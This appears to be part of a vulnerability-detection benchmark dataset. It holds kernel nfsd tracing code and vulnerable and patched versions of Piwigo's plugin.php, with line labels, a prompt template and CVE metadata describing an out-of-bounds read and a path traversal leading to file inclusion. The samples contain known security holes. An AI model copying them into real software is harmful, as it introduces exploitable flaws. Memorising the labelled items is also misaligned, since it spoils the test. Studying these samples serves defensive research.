"DEFINE_NFSD_FILE_EVENT(nfsd_file_alloc);\nDEFINE_NFSD_FILE_EVENT(nfsd_file_put_final);\nDEFINE_NFSD_FILE_EVENT(nfsd_file_unhash);\nDEFINE_NFSD_FILE_EVENT(nfsd_file_put);\nDEFINE_NFSD_FILE_EVENT(nfsd_file_unhash_and_release_locked);", "TRACE_EVENT(nfsd_file_acquire,\n\tTP_PROTO(struct svc_rqst *rqstp, unsigned int hash,\n\t\t struct inode *inode, unsigned int may_flags,\n\t\t struct nfsd_file *nf, __be32 status),", "\tTP_ARGS(rqstp, hash, inode, may_flags, nf, status),", "\tTP_STRUCT__entry(\n\t\t__field(u32, xid)\n\t\t__field(unsigned int, hash)\n\t\t__field(void *, inode)\n\t\t__field(unsigned long, may_flags)\n\t\t__field(int, nf_ref)\n\t\t__field(unsigned long, nf_flags)\n\t\t__field(unsigned long, nf_may)\n\t\t__field(struct file *, nf_file)\n\t\t__field(u32, status)\n\t),", "\tTP_fast_assign(\n\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid);\n\t\t__entry->hash = hash;\n\t\t__entry->inode = inode;\n\t\t__entry->may_flags = may_flags;\n\t\t__entry->nf_ref = nf ? refcount_read(&nf->nf_ref) : 0;\n\t\t__entry->nf_flags = nf ? nf->nf_flags : 0;\n\t\t__entry->nf_may = nf ? nf->nf_may : 0;\n\t\t__entry->nf_file = nf ? nf->nf_file : NULL;\n\t\t__entry->status = be32_to_cpu(status);\n\t),", "\tTP_printk(\"xid=0x%x hash=0x%x inode=%p may_flags=%s ref=%d nf_flags=%s nf_may=%s nf_file=%p status=%u\",\n\t\t\t__entry->xid, __entry->hash, __entry->inode,\n\t\t\tshow_nfsd_may_flags(__entry->may_flags),\n\t\t\t__entry->nf_ref, show_nf_flags(__entry->nf_flags),\n\t\t\tshow_nfsd_may_flags(__entry->nf_may),\n\t\t\t__entry->nf_file, __entry->status)\n);", "DECLARE_EVENT_CLASS(nfsd_file_search_class,\n\tTP_PROTO(struct inode *inode, unsigned int hash, int found),\n\tTP_ARGS(inode, hash, found),\n\tTP_STRUCT__entry(\n\t\t__field(struct inode *, inode)\n\t\t__field(unsigned int, hash)\n\t\t__field(int, found)\n\t),\n\tTP_fast_assign(\n\t\t__entry->inode = inode;\n\t\t__entry->hash = hash;\n\t\t__entry->found = found;\n\t),\n\tTP_printk(\"hash=0x%x inode=%p found=%d\", __entry->hash,\n\t\t\t__entry->inode, __entry->found)\n);", "#define DEFINE_NFSD_FILE_SEARCH_EVENT(name)\t\t\t\t\\\nDEFINE_EVENT(nfsd_file_search_class, name,\t\t\t\t\\\n\tTP_PROTO(struct inode *inode, unsigned int hash, int found),\t\\\n\tTP_ARGS(inode, hash, found))", "DEFINE_NFSD_FILE_SEARCH_EVENT(nfsd_file_close_inode_sync);\nDEFINE_NFSD_FILE_SEARCH_EVENT(nfsd_file_close_inode);\nDEFINE_NFSD_FILE_SEARCH_EVENT(nfsd_file_is_cached);", "TRACE_EVENT(nfsd_file_fsnotify_handle_event,\n\tTP_PROTO(struct inode *inode, u32 mask),\n\tTP_ARGS(inode, mask),\n\tTP_STRUCT__entry(\n\t\t__field(struct inode *, inode)\n\t\t__field(unsigned int, nlink)\n\t\t__field(umode_t, mode)\n\t\t__field(u32, mask)\n\t),\n\tTP_fast_assign(\n\t\t__entry->inode = inode;\n\t\t__entry->nlink = inode->i_nlink;\n\t\t__entry->mode = inode->i_mode;\n\t\t__entry->mask = mask;\n\t),\n\tTP_printk(\"inode=%p nlink=%u mode=0%ho mask=0x%x\", __entry->inode,\n\t\t\t__entry->nlink, __entry->mode, __entry->mask)\n);", "#include \"cache.h\"", "TRACE_DEFINE_ENUM(RC_DROPIT);\nTRACE_DEFINE_ENUM(RC_REPLY);\nTRACE_DEFINE_ENUM(RC_DOIT);", "#define show_drc_retval(x)\t\t\t\t\t\t\\\n\t__print_symbolic(x,\t\t\t\t\t\t\\\n\t\t{ RC_DROPIT, \"DROPIT\" },\t\t\t\t\\\n\t\t{ RC_REPLY, \"REPLY\" },\t\t\t\t\t\\\n\t\t{ RC_DOIT, \"DOIT\" })", "TRACE_EVENT(nfsd_drc_found,\n\tTP_PROTO(\n\t\tconst struct nfsd_net *nn,\n\t\tconst struct svc_rqst *rqstp,\n\t\tint result\n\t),\n\tTP_ARGS(nn, rqstp, result),\n\tTP_STRUCT__entry(\n\t\t__field(unsigned long long, boot_time)\n\t\t__field(unsigned long, result)\n\t\t__field(u32, xid)\n\t),\n\tTP_fast_assign(\n\t\t__entry->boot_time = nn->boot_time;\n\t\t__entry->result = result;\n\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid);\n\t),\n\tTP_printk(\"boot_time=%16llx xid=0x%08x result=%s\",\n\t\t__entry->boot_time, __entry->xid,\n\t\tshow_drc_retval(__entry->result))", ");", "TRACE_EVENT(nfsd_drc_mismatch,\n\tTP_PROTO(\n\t\tconst struct nfsd_net *nn,\n\t\tconst struct svc_cacherep *key,\n\t\tconst struct svc_cacherep *rp\n\t),\n\tTP_ARGS(nn, key, rp),\n\tTP_STRUCT__entry(\n\t\t__field(unsigned long long, boot_time)\n\t\t__field(u32, xid)\n\t\t__field(u32, cached)\n\t\t__field(u32, ingress)\n\t),\n\tTP_fast_assign(\n\t\t__entry->boot_time = nn->boot_time;\n\t\t__entry->xid = be32_to_cpu(key->c_key.k_xid);\n\t\t__entry->cached = (__force u32)key->c_key.k_csum;\n\t\t__entry->ingress = (__force u32)rp->c_key.k_csum;\n\t),\n\tTP_printk(\"boot_time=%16llx xid=0x%08x cached-csum=0x%08x ingress-csum=0x%08x\",\n\t\t__entry->boot_time, __entry->xid, __entry->cached,\n\t\t__entry->ingress)\n);", "TRACE_EVENT(nfsd_cb_args,\n\tTP_PROTO(\n\t\tconst struct nfs4_client *clp,\n\t\tconst struct nfs4_cb_conn *conn\n\t),\n\tTP_ARGS(clp, conn),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, prog)\n\t\t__field(u32, ident)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\t__entry->prog = conn->cb_prog;\n\t\t__entry->ident = conn->cb_ident;\n\t\tmemcpy(__entry->addr, &conn->cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x prog=%u ident=%u\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->prog, __entry->ident)\n);", "TRACE_EVENT(nfsd_cb_nodelegs,\n\tTP_PROTO(const struct nfs4_client *clp),\n\tTP_ARGS(clp),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t),\n\tTP_printk(\"client %08x:%08x\", __entry->cl_boot, __entry->cl_id)\n)", "#define show_cb_state(val)\t\t\t\t\t\t\\\n\t__print_symbolic(val,\t\t\t\t\t\t\\\n\t\t{ NFSD4_CB_UP,\t\t\"UP\" },\t\t\t\t\\\n\t\t{ NFSD4_CB_UNKNOWN,\t\"UNKNOWN\" },\t\t\t\\\n\t\t{ NFSD4_CB_DOWN,\t\"DOWN\" },\t\t\t\\\n\t\t{ NFSD4_CB_FAULT,\t\"FAULT\"})", "DECLARE_EVENT_CLASS(nfsd_cb_class,\n\tTP_PROTO(const struct nfs4_client *clp),\n\tTP_ARGS(clp),\n\tTP_STRUCT__entry(\n\t\t__field(unsigned long, state)\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->state = clp->cl_cb_state;\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x state=%s\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\tshow_cb_state(__entry->state))\n);", "#define DEFINE_NFSD_CB_EVENT(name)\t\t\t\\\nDEFINE_EVENT(nfsd_cb_class, nfsd_cb_##name,\t\t\\\n\tTP_PROTO(const struct nfs4_client *clp),\t\\\n\tTP_ARGS(clp))", "DEFINE_NFSD_CB_EVENT(state);\nDEFINE_NFSD_CB_EVENT(probe);\nDEFINE_NFSD_CB_EVENT(lost);\nDEFINE_NFSD_CB_EVENT(shutdown);", "TRACE_DEFINE_ENUM(RPC_AUTH_NULL);\nTRACE_DEFINE_ENUM(RPC_AUTH_UNIX);\nTRACE_DEFINE_ENUM(RPC_AUTH_GSS);\nTRACE_DEFINE_ENUM(RPC_AUTH_GSS_KRB5);\nTRACE_DEFINE_ENUM(RPC_AUTH_GSS_KRB5I);\nTRACE_DEFINE_ENUM(RPC_AUTH_GSS_KRB5P);", "#define show_nfsd_authflavor(val)\t\t\t\t\t\\\n\t__print_symbolic(val,\t\t\t\t\t\t\\\n\t\t{ RPC_AUTH_NULL,\t\t\"none\" },\t\t\\\n\t\t{ RPC_AUTH_UNIX,\t\t\"sys\" },\t\t\\\n\t\t{ RPC_AUTH_GSS,\t\t\t\"gss\" },\t\t\\\n\t\t{ RPC_AUTH_GSS_KRB5,\t\t\"krb5\" },\t\t\\\n\t\t{ RPC_AUTH_GSS_KRB5I,\t\t\"krb5i\" },\t\t\\\n\t\t{ RPC_AUTH_GSS_KRB5P,\t\t\"krb5p\" })", "TRACE_EVENT(nfsd_cb_setup,\n\tTP_PROTO(const struct nfs4_client *clp,\n\t\t const char *netid,\n\t\t rpc_authflavor_t authflavor\n\t),\n\tTP_ARGS(clp, netid, authflavor),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(unsigned long, authflavor)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t\t__array(unsigned char, netid, 8)\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\tstrlcpy(__entry->netid, netid, sizeof(__entry->netid));\n\t\t__entry->authflavor = authflavor;\n\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x proto=%s flavor=%s\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->netid, show_nfsd_authflavor(__entry->authflavor))\n);", "TRACE_EVENT(nfsd_cb_setup_err,\n\tTP_PROTO(\n\t\tconst struct nfs4_client *clp,\n\t\tlong error\n\t),\n\tTP_ARGS(clp, error),\n\tTP_STRUCT__entry(\n\t\t__field(long, error)\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->error = error;\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x error=%ld\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id, __entry->error)\n);", "TRACE_EVENT(nfsd_cb_recall,\n\tTP_PROTO(\n\t\tconst struct nfs4_stid *stid\n\t),\n\tTP_ARGS(stid),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, si_id)\n\t\t__field(u32, si_generation)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\tconst stateid_t *stp = &stid->sc_stateid;\n\t\tconst struct nfs4_client *clp = stid->sc_client;", "\t\t__entry->cl_boot = stp->si_opaque.so_clid.cl_boot;\n\t\t__entry->cl_id = stp->si_opaque.so_clid.cl_id;\n\t\t__entry->si_id = stp->si_opaque.so_id;\n\t\t__entry->si_generation = stp->si_generation;\n\t\tif (clp)\n\t\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\t\tsizeof(struct sockaddr_in6));\n\t\telse\n\t\t\tmemset(__entry->addr, 0, sizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x stateid %08x:%08x\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->si_id, __entry->si_generation)\n);", "TRACE_EVENT(nfsd_cb_notify_lock,\n\tTP_PROTO(\n\t\tconst struct nfs4_lockowner *lo,\n\t\tconst struct nfsd4_blocked_lock *nbl\n\t),\n\tTP_ARGS(lo, nbl),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, fh_hash)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\tconst struct nfs4_client *clp = lo->lo_owner.so_client;", "\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\t__entry->fh_hash = knfsd_fh_hash(&nbl->nbl_fh);\n\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x fh_hash=0x%08x\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->fh_hash)\n);", "TRACE_EVENT(nfsd_cb_offload,\n\tTP_PROTO(\n\t\tconst struct nfs4_client *clp,\n\t\tconst stateid_t *stp,\n\t\tconst struct knfsd_fh *fh,\n\t\tu64 count,\n\t\t__be32 status\n\t),\n\tTP_ARGS(clp, stp, fh, count, status),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, si_id)\n\t\t__field(u32, si_generation)\n\t\t__field(u32, fh_hash)\n\t\t__field(int, status)\n\t\t__field(u64, count)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = stp->si_opaque.so_clid.cl_boot;\n\t\t__entry->cl_id = stp->si_opaque.so_clid.cl_id;\n\t\t__entry->si_id = stp->si_opaque.so_id;\n\t\t__entry->si_generation = stp->si_generation;\n\t\t__entry->fh_hash = knfsd_fh_hash(fh);\n\t\t__entry->status = be32_to_cpu(status);\n\t\t__entry->count = count;\n\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x stateid %08x:%08x fh_hash=0x%08x count=%llu status=%d\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->si_id, __entry->si_generation,\n\t\t__entry->fh_hash, __entry->count, __entry->status)\n);", "#endif /* _NFSD_TRACE_H */", "#undef TRACE_INCLUDE_PATH\n#define TRACE_INCLUDE_PATH .\n#define TRACE_INCLUDE_FILE trace\n#include <trace/define_trace.h>" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [412], "buggy_code_start_loc": [411], "filenames": ["fs/nfsd/trace.h"], "fixing_code_end_loc": [410], "fixing_code_start_loc": [410], "message": "fs/nfsd/trace.h in the Linux kernel before 5.13.4 might allow remote attackers to cause a denial of service (out-of-bounds read in strlen) by sending NFS traffic when the trace event framework is being used for nfsd.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "4C85356F-2C6C-4FB9-B0CA-949711182223", "versionEndExcluding": "5.13.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:hci_bootstrap_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "1C767AA1-88B7-48F0-9F31-A89D16DCD52C", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:hci_compute_node:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7447BC-F315-4298-A822-549942FC118B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:netapp:hci_management_node:-:*:*:*:*:*:*:*", "matchCriteriaId": "A3C19813-E823-456A-B1CE-EC0684CE1953", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:netapp:solidfire:-:*:*:*:*:*:*:*", "matchCriteriaId": "A6E9EF0C-AFA8-4F7B-9FDC-1E0F7C26E737", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:netapp:element_software:-:*:*:*:*:*:*:*", "matchCriteriaId": "85DF4B3F-4BBC-42B7-B729-096934523D63", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:hci_storage_node:-:*:*:*:*:*:*:*", "matchCriteriaId": "02DEB4FB-A21D-4CB1-B522-EEE5093E8521", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}], "descriptions": [{"lang": "en", "value": "fs/nfsd/trace.h in the Linux kernel before 5.13.4 might allow remote attackers to cause a denial of service (out-of-bounds read in strlen) by sending NFS traffic when the trace event framework is being used for nfsd."}, {"lang": "es", "value": "El archivo fs/nfsd/trace.h en el kernel de Linux versiones anteriores a 5.13.4, podr\u00eda permitir a atacantes remotos causar una denegaci\u00f3n de servicio (lectura fuera de los l\u00edmites en strlen) mediante el env\u00edo de tr\u00e1fico NFS cuando el marco de eventos de rastreo se est\u00e1 usando para nfsd"}], "evaluatorComment": null, "id": "CVE-2021-38202", "lastModified": "2021-10-07T20:39:27.070", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2021-08-08T20:15:07.180", "references": [{"source": "cve@mitre.org", "tags": ["Mailing List", "Patch", "Vendor Advisory"], "url": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.13.4"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/torvalds/linux/commit/7b08cf62b1239a4322427d677ea9363f0ab677c6"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://security.netapp.com/advisory/ntap-20210902-0010/"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-125"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/torvalds/linux/commit/7b08cf62b1239a4322427d677ea9363f0ab677c6"}, "type": "CWE-125"}
136
Determine whether the {function_name} code is vulnerable or not.
[ "<?php\n// +-----------------------------------------------------------------------+\n// | Piwigo - a PHP based photo gallery |\n// +-----------------------------------------------------------------------+\n// | Copyright(C) 2008-2016 Piwigo Team http://piwigo.org |\n// | Copyright(C) 2003-2008 PhpWebGallery Team http://phpwebgallery.net |\n// | Copyright(C) 2002-2003 Pierrick LE GALL http://le-gall.net/pierrick |\n// +-----------------------------------------------------------------------+\n// | This program is free software; you can redistribute it and/or modify |\n// | it under the terms of the GNU General Public License as published by |\n// | the Free Software Foundation |\n// | |\n// | This program is distributed in the hope that it will be useful, but |\n// | WITHOUT ANY WARRANTY; without even the implied warranty of |\n// | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU |\n// | General Public License for more details. |\n// | |\n// | You should have received a copy of the GNU General Public License |\n// | along with this program; if not, write to the Free Software |\n// | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, |\n// | USA. |\n// +-----------------------------------------------------------------------+", "if( !defined(\"PHPWG_ROOT_PATH\") )\n{\n die (\"Hacking attempt!\");\n}", "include_once(PHPWG_ROOT_PATH.'admin/include/functions.php');\ncheck_status(ACCESS_ADMINISTRATOR);", "$sections = explode('/', $_GET['section'] );\nfor ($i=0; $i<count($sections); $i++)\n{", " if (empty($sections[$i]) or $sections[$i]=='..')", " {\n unset($sections[$i]);\n $i--;", "", " }\n}", "if (count($sections)<2)\n{\n die('Invalid plugin URL');\n}", "$plugin_id = $sections[0];", "if (!preg_match('/^[\\w-]+$/', $plugin_id))\n{\n die('Invalid plugin identifier');\n}", "if ( !isset($pwg_loaded_plugins[$plugin_id]) )\n{\n die('Invalid URL - plugin '.$plugin_id.' not active');\n}", "$filename = PHPWG_PLUGINS_PATH.implode('/', $sections);\nif (is_file($filename))\n{\n include_once($filename);\n}\nelse\n{\n die('Missing file '.htmlentities($filename));\n}\n?>" ]
[ 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [38], "buggy_code_start_loc": [35], "filenames": ["admin/plugin.php"], "fixing_code_end_loc": [45], "fixing_code_start_loc": [35], "message": "admin/plugin.php in Piwigo through 2.8.3 doesn't validate the sections variable while using it to include files. This can cause information disclosure and code execution if it contains a .. sequence.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*", "matchCriteriaId": "78E1C4D0-B42E-4FF9-9DB3-313B2A4A8251", "versionEndExcluding": null, "versionEndIncluding": "2.8.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "admin/plugin.php in Piwigo through 2.8.3 doesn't validate the sections variable while using it to include files. This can cause information disclosure and code execution if it contains a .. sequence."}, {"lang": "es", "value": "admin/plugin.php en Piwigo hasta la versi\u00f3n 2.8.3 no valida el variable de secciones al usarlo para incluir archivos. Esto puede provocar la divulgaci\u00f3n de informaci\u00f3n y la ejecuci\u00f3n de c\u00f3digo si contiene una secuencia .. ."}], "evaluatorComment": null, "id": "CVE-2016-10105", "lastModified": "2017-01-05T02:59:03.323", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2017-01-03T06:59:00.137", "references": [{"source": "cve@mitre.org", "tags": null, "url": "http://www.securityfocus.com/bid/95202"}, {"source": "cve@mitre.org", "tags": ["Issue Tracking", "Patch"], "url": "https://github.com/Piwigo/Piwigo/commit/8796e43aa344681d92a92e1f9b985409d4f36e31"}, {"source": "cve@mitre.org", "tags": ["Issue Tracking", "Patch"], "url": "https://github.com/Piwigo/Piwigo/commit/9004fdfc0b4a11cb32e9e15a5f67e4ec827e82dc"}, {"source": "cve@mitre.org", "tags": ["Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://github.com/Piwigo/Piwigo/issues/574#issuecomment-267938358"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-284"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/Piwigo/Piwigo/commit/8796e43aa344681d92a92e1f9b985409d4f36e31"}, "type": "CWE-200"}
137
Determine whether the {function_name} code is vulnerable or not.
[ "<?php\n// +-----------------------------------------------------------------------+\n// | Piwigo - a PHP based photo gallery |\n// +-----------------------------------------------------------------------+\n// | Copyright(C) 2008-2016 Piwigo Team http://piwigo.org |\n// | Copyright(C) 2003-2008 PhpWebGallery Team http://phpwebgallery.net |\n// | Copyright(C) 2002-2003 Pierrick LE GALL http://le-gall.net/pierrick |\n// +-----------------------------------------------------------------------+\n// | This program is free software; you can redistribute it and/or modify |\n// | it under the terms of the GNU General Public License as published by |\n// | the Free Software Foundation |\n// | |\n// | This program is distributed in the hope that it will be useful, but |\n// | WITHOUT ANY WARRANTY; without even the implied warranty of |\n// | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU |\n// | General Public License for more details. |\n// | |\n// | You should have received a copy of the GNU General Public License |\n// | along with this program; if not, write to the Free Software |\n// | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, |\n// | USA. |\n// +-----------------------------------------------------------------------+", "if( !defined(\"PHPWG_ROOT_PATH\") )\n{\n die (\"Hacking attempt!\");\n}", "include_once(PHPWG_ROOT_PATH.'admin/include/functions.php');\ncheck_status(ACCESS_ADMINISTRATOR);", "$sections = explode('/', $_GET['section'] );\nfor ($i=0; $i<count($sections); $i++)\n{", " if (empty($sections[$i]))", " {\n unset($sections[$i]);\n $i--;", " continue;\n }", " if ($sections[$i] == '..' or !preg_match('/^[a-zA-Z_\\.-]+$/', $sections[$i]))\n {\n die('invalid section token ['.htmlentities($sections[$i]).']');", " }\n}", "if (count($sections)<2)\n{\n die('Invalid plugin URL');\n}", "$plugin_id = $sections[0];", "if (!preg_match('/^[\\w-]+$/', $plugin_id))\n{\n die('Invalid plugin identifier');\n}", "if ( !isset($pwg_loaded_plugins[$plugin_id]) )\n{\n die('Invalid URL - plugin '.$plugin_id.' not active');\n}", "$filename = PHPWG_PLUGINS_PATH.implode('/', $sections);\nif (is_file($filename))\n{\n include_once($filename);\n}\nelse\n{\n die('Missing file '.htmlentities($filename));\n}\n?>" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
